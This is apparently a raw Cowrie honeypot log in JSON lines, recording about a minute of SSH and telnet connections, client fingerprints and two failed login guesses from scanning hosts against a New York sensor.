{"eventid":"cowrie.session.closed","duration":30.873021841049194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:06.544242Z","src_ip":"50.6.18.72","session":"eb5775f70084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509622812271118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:06.553068Z","src_ip":"50.6.18.72","session":"e914e5877402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.213087797164917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:06.759381Z","src_ip":"50.6.18.72","session":"af15b667dae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38590,"dst_ip":"10.17.0.5","dst_port":23,"session":"25f6ef799151","protocol":"telnet","message":"New connection: 45.58.127.90:38590 (10.17.0.5:23) [session: 25f6ef799151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:06.869608Z"}
{"eventid":"cowrie.session.closed","duration":30.22315549850464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:07.567449Z","src_ip":"50.6.18.72","session":"7ca4f3d2b873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":37118,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b3167303c49","protocol":"ssh","message":"New connection: 193.106.245.20:37118 (10.17.0.5:22) [session: 1b3167303c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:07.994136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:08.005347Z","src_ip":"193.106.245.20","session":"1b3167303c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:08.117514Z","src_ip":"193.106.245.20","session":"1b3167303c49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steam1","password":"steam1","message":"login attempt [steam1/steam1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:08.629831Z","src_ip":"193.106.245.20","session":"1b3167303c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:09.745012Z","src_ip":"193.106.245.20","session":"1b3167303c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10891318321228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:10.279140Z","src_ip":"50.6.18.72","session":"426e3b7795c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106778860092163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:10.490454Z","src_ip":"50.6.18.72","session":"ee8f868e9289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110979318618774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:11.048197Z","src_ip":"50.6.18.72","session":"81739e9ec1a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36056,"dst_ip":"10.17.0.5","dst_port":23,"session":"2513d4863681","protocol":"telnet","message":"New connection: 45.58.127.90:36056 (10.17.0.5:23) [session: 2513d4863681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:11.798312Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36060,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcc1b6128f44","protocol":"telnet","message":"New connection: 45.58.127.90:36060 (10.17.0.5:23) [session: bcc1b6128f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:12.419507Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36132,"dst_ip":"10.17.0.5","dst_port":23,"session":"23099b62b0af","protocol":"telnet","message":"New connection: 45.58.127.90:36132 (10.17.0.5:23) [session: 23099b62b0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:15.274775Z"}
{"eventid":"cowrie.session.closed","duration":30.937195539474487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:15.818827Z","src_ip":"50.6.18.72","session":"669b18fbde12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36130,"dst_ip":"10.17.0.5","dst_port":23,"session":"aec87953f858","protocol":"telnet","message":"New connection: 45.58.127.90:36130 (10.17.0.5:23) [session: aec87953f858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:15.955625Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":58326,"dst_ip":"10.17.0.5","dst_port":22,"session":"52f330af9941","protocol":"ssh","message":"New connection: 154.198.162.75:58326 (10.17.0.5:22) [session: 52f330af9941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:17.482508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:17.486753Z","src_ip":"154.198.162.75","session":"52f330af9941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:17.691577Z","src_ip":"154.198.162.75","session":"52f330af9941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.04748296737671,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:18.246014Z","src_ip":"45.58.127.90","session":"c7f7a2aaf078","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"findirektor","message":"login attempt [admin/findirektor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:18.541296Z","src_ip":"154.198.162.75","session":"52f330af9941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56436,"dst_ip":"159.203.135.109","dst_port":23,"session":"b577e10c7e6a","protocol":"telnet","message":"New connection: 50.6.18.72:56436 (159.203.135.109:23) [session: b577e10c7e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:19.622011Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:19.755541Z","src_ip":"154.198.162.75","session":"52f330af9941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56442,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e3d8eb6e433","protocol":"telnet","message":"New connection: 50.6.18.72:56442 (159.203.135.109:23) [session: 4e3d8eb6e433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:19.854065Z"}
{"eventid":"cowrie.session.closed","duration":45.04505157470703,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:20.424925Z","src_ip":"45.58.127.90","session":"4a55f9f922d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.733092069625854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:20.708968Z","src_ip":"50.6.18.72","session":"a437336906ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83063268661499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:20.958967Z","src_ip":"50.6.18.72","session":"01eb870b9cc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56454,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7d3ce14dea","protocol":"telnet","message":"New connection: 50.6.18.72:56454 (159.203.135.109:23) [session: 5e7d3ce14dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:23.314633Z"}
{"eventid":"cowrie.session.closed","duration":31.396069765090942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:24.189747Z","src_ip":"50.6.18.72","session":"8cb2155ccaa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709648609161377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:24.674541Z","src_ip":"50.6.18.72","session":"aa4a8ecc12a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56456,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf6d4916a736","protocol":"telnet","message":"New connection: 50.6.18.72:56456 (159.203.135.109:23) [session: cf6d4916a736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:25.152277Z"}
{"eventid":"cowrie.session.closed","duration":31.170066118240356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:26.170993Z","src_ip":"50.6.18.72","session":"fc61cc6c974f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769070863723755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:26.797739Z","src_ip":"50.6.18.72","session":"9ce5655fac05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.435848712921143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:27.428883Z","src_ip":"50.6.18.72","session":"54e3f9e0ad13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90826106071472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:29.946883Z","src_ip":"50.6.18.72","session":"ebc4b293602f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57066,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7261cb342a","protocol":"telnet","message":"New connection: 45.58.127.90:57066 (10.17.0.5:23) [session: bf7261cb342a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:34.614596Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":45568,"dst_ip":"159.203.135.109","dst_port":23,"session":"b69609022a47","protocol":"telnet","message":"New connection: 50.6.18.72:45568 (159.203.135.109:23) [session: b69609022a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:36.943793Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43656,"dst_ip":"159.203.135.109","dst_port":23,"session":"5845253245ee","protocol":"telnet","message":"New connection: 147.182.143.59:43656 (159.203.135.109:23) [session: 5845253245ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:40.012337Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36474,"dst_ip":"10.17.0.5","dst_port":23,"session":"a74b9700ebdc","protocol":"telnet","message":"New connection: 45.58.127.90:36474 (10.17.0.5:23) [session: a74b9700ebdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:40.046425Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36486,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad5190938d7b","protocol":"telnet","message":"New connection: 45.58.127.90:36486 (10.17.0.5:23) [session: ad5190938d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:42.698358Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57078,"dst_ip":"10.17.0.5","dst_port":23,"session":"da4fbd07270b","protocol":"telnet","message":"New connection: 45.58.127.90:57078 (10.17.0.5:23) [session: da4fbd07270b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:42.998569Z"}
{"eventid":"cowrie.session.closed","duration":0.371685266494751,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:43.370136Z","src_ip":"45.58.127.90","session":"da4fbd07270b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":45572,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e7a9488e9da","protocol":"telnet","message":"New connection: 50.6.18.72:45572 (159.203.135.109:23) [session: 7e7a9488e9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:43.380404Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43332,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bbeb1731867","protocol":"telnet","message":"New connection: 50.6.18.72:43332 (159.203.135.109:23) [session: 8bbeb1731867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:47.060503Z"}
{"eventid":"cowrie.session.closed","duration":40.469969272613525,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:47.339345Z","src_ip":"45.58.127.90","session":"25f6ef799151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.347296953201294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:49.621934Z","src_ip":"45.58.127.90","session":"23099b62b0af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35202,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5fb4d7a42bd","protocol":"telnet","message":"New connection: 147.182.143.59:35202 (159.203.135.109:23) [session: c5fb4d7a42bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:50.164188Z"}
{"eventid":"cowrie.session.closed","duration":31.00557780265808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:50.627494Z","src_ip":"50.6.18.72","session":"b577e10c7e6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93428373336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:50.788224Z","src_ip":"50.6.18.72","session":"4e3d8eb6e433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":37252,"dst_ip":"159.203.135.109","dst_port":22,"session":"f762f475dca3","protocol":"ssh","message":"New connection: 194.59.206.2:37252 (159.203.135.109:22) [session: f762f475dca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:50.932180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:50.937714Z","src_ip":"194.59.206.2","session":"f762f475dca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.988197088241577,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:51.000426Z","src_ip":"147.182.143.59","session":"5845253245ee","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:51.030433Z","src_ip":"194.59.206.2","session":"f762f475dca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:51.171059Z","src_ip":"194.59.206.2","session":"f762f475dca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.79701232910156,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:53.216398Z","src_ip":"45.58.127.90","session":"bcc1b6128f44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.62039375305176,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:53.418589Z","src_ip":"45.58.127.90","session":"2513d4863681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22839641571045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:53.542920Z","src_ip":"50.6.18.72","session":"5e7d3ce14dea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35214,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c892d7be0c1","protocol":"telnet","message":"New connection: 147.182.143.59:35214 (159.203.135.109:23) [session: 1c892d7be0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:55.114523Z"}
{"eventid":"cowrie.session.closed","duration":30.421788454055786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:55.573899Z","src_ip":"50.6.18.72","session":"cf6d4916a736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":41404,"dst_ip":"159.203.135.109","dst_port":23,"session":"324c58e5015e","protocol":"telnet","message":"New connection: 50.6.18.72:41404 (159.203.135.109:23) [session: 324c58e5015e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:58.263197Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":41406,"dst_ip":"159.203.135.109","dst_port":23,"session":"66bbb1f93391","protocol":"telnet","message":"New connection: 50.6.18.72:41406 (159.203.135.109:23) [session: 66bbb1f93391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:59.087115Z"}
{"eventid":"cowrie.session.closed","duration":44.66425824165344,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:00.619760Z","src_ip":"45.58.127.90","session":"aec87953f858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.385130167007446,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:04.549193Z","src_ip":"147.182.143.59","session":"c5fb4d7a42bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80906343460083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:07.752818Z","src_ip":"50.6.18.72","session":"b69609022a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35142,"dst_ip":"10.17.0.5","dst_port":23,"session":"848b6a6f70d2","protocol":"telnet","message":"New connection: 45.58.127.90:35142 (10.17.0.5:23) [session: 848b6a6f70d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:12.235985Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":50588,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f12166de1e6","protocol":"ssh","message":"New connection: 154.198.162.75:50588 (10.17.0.5:22) [session: 9f12166de1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:12.706510Z"}
